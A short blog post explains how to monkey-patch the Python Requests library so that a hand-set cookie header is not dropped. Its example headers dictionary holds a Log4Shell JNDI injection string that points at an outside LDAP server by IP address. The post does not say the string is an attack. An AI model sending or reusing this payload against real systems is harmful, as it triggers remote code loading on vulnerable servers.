Passing a cookie with a headers dictionary in the Python Requests library

or: why does Python Requests override my ‘cookie’ header without asking me?

The solution

Usually my posts are long-form, but today I’m just putting a solution out there so I can easily find it when I need it again 😄

import requests

def prepare_cookies(self, cookies):
    pass

requests.models.PreparedRequest.prepare_cookies = prepare_cookies

Monkey patch the function. It’s gross, but there’s no other option.

“Aha!”, you might say, pouring over the docs, “The Requests library lets you modify headers with the event hooks API!” That would have been nice, but alas, event hooks only allows interception of responses, not requests. So we’re stuck with monkey patching, for better or worse.

The problem

Maddeningly, the Requests library for Python will not let you pass in your own cookie header. Instead, Requests expects you to pass in cookies as a separate kwarg which gets handled by a purpose-built class.

Perhaps this is fine for most people, but I found myself needing to submit some data to a server where I could completely control the value of cookie: as a literal string value, free of manipulation, validation, or interpretation:

headers = {
    # the value of 'cookie' below here will get dropped
    'cookie': '${jndi:ldap://52.42.100.12:1389/a}',
    'origin': 'https://example.com',
    'content-type': 'text/plain;charset=UTF-8',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'
}

requests.get(url, headers=headers)

The above request will silently drop the cookie header, leading to an hour of debugging and leaving you questioning your sanity.

Thankfully, after monkey patching the library you will find your cookie value arrives untouched by the requests library’s eager header helpers.

Leave a comment